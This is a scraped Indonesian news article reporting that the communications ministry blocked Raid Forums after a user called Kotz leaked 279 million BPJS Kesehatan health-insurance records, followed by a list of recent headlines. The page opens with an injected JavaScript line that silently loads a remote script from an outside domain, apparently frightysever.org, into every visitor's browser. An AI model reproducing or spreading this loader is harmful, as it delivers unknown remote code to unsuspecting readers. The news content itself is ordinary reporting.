(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bocorkan 279 Juta Data BPJS Kesehatan, Situs Raid Forum Diblokir Kominfo


KANALKALIMANTAN.COM – Kementerian Komunikasi dan Informatika (Kominfo) resmi memblokir situs Raid Forums.

Laman ini merupakan tempat para hacker yang membocorkan 279 juta data penduduk Indonesia dari BPJS Kesehatan.

Juru Bicara Kominfo Dedy Permadi mengatakan, langkah tersebut dilakukan sebagai antisipasi penyebaran data pribadi yang lebih luas.

Bahkan akun yang membocorkan data, Kotz, juga akan segera diblokir.

Baca juga: Mancing Ikan Bersama Istri dengan Kelotok, Prajurit TNI Tenggelam Meninggal Dunia di Waduk Riam Kanan

“Raid Forums teridentifikasi sebagai forum yang banyak menyebarkan konten yang melanggar perundang-undangan di Indonesia, sehingga website tersebut, termasuk akun bernama Kotz sedang dilakukan proses pemblokiran,” kata Dedy, dikutip dari keterangan tertulis di situs Kominfo, Minggu (23/5/2021).

Kominfo juga memblokir tautan bayfiles.com, mega.nz, dan anonfiles.com, di mana ketiganya digunakan sebagai media untuk mengunduh data penduduk yang bocor.

Selain itu, Dedy menyampaikan bahwa Kominfo telah mengidentifikasi jumlah data lebih besar dan memperluas investigasi ke sekitar 1 juta data, diklaim sebagai data sampel oleh penjual.

Kemudian, Kominfo dan Badan Siber dan Sandi Negara (BSSN) untuk melakukan investigasi lebih lanjut bersama dengan BPJS Kesehatan.

“Dari hasil investigasi secara acak terhadap sekitar 1 juta data tersebut, dapat disimpulkan bahwa Kominfo dan BSSN perlu melakukan investigasi lebih mendalam bersama dengan BPJS Kesehatan,” katanya.

Baca juga: Spanduk Tolak Politik Uang Dicabut Oknum Tak Dikenal, Aliansi Masyarakat: Jika Berniat Tidak Melakukan Money Politik, Mengapa Ketakutan?

Sebelumnya, media sosial Twitter dihebohkan dengan dugaan kebocoran 279 juta data penduduk yang tersebar di Raid Forums.
Data ini dijual sekitar 0,15 bitcoin atau setara Rp 87,6 juta.

Kominfo juga telah memanggil Direksi BPJS Kesehatan sebagai pengelola data pribadi, diduga bocor untuk proses investigasi secara lebih mendalam, sesuai amanat Peraturan Pemerintah Nomor 71 Tahun 2019. (suara.com)

Editor : kk


Al Ghifari

Recent Posts

BPIH 2025 Resmi Turun Rp 4 Juta, Ini Komponen Utama Biaya Haji

KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More

27 menit ago

Tim Banjarbaru Hanyar Siap Hadapi Sidang Pertama Gugatan di MK

KANALKALIMANTAN.COM, JAKARTA – Tim Banjarbaru Hanyar (Haram Manyarah) untuk gugatan Pilkada Kota Banjarbaru akan menghadapi… Read More

35 menit ago

Konsumsi Listrik EV di SPKLU Cetak Rekor, Dirut PLN: Meningkat 500% Sepanjang Nataru

KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) terus mencatat rekor lonjakan konsumsi energi kendaraan listrik atau… Read More

1 jam ago

Antar Kepulangan Jemaah Sekumpul, Posko Terpadu di Bandara Syamsudin Noor Ditutup

KANALKALIMANTAN.COM, BANJARBARU - Pasca kegiatan rutinan Malam Senin Momen 5 Rajab, arus kepulangan Jemaah Sekumpul… Read More

16 jam ago

Susun RKPD Tahun 2026, Bappedalitbang Banjar Gelar Musrenbang

KANALKALIMANTAN.COM, MARTAPURA - Bappedalitbang Kabupaten Banjar menggelar rapat persiapan pelaksanaan Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan… Read More

18 jam ago

Eksepsi Dua Terdakwa Suap Proyek PUPR Kalsel, Jaksa KPK: Keberatan Tak Berdasar

KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus gratifikasi proyek Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi… Read More

18 jam ago

This website uses cookies.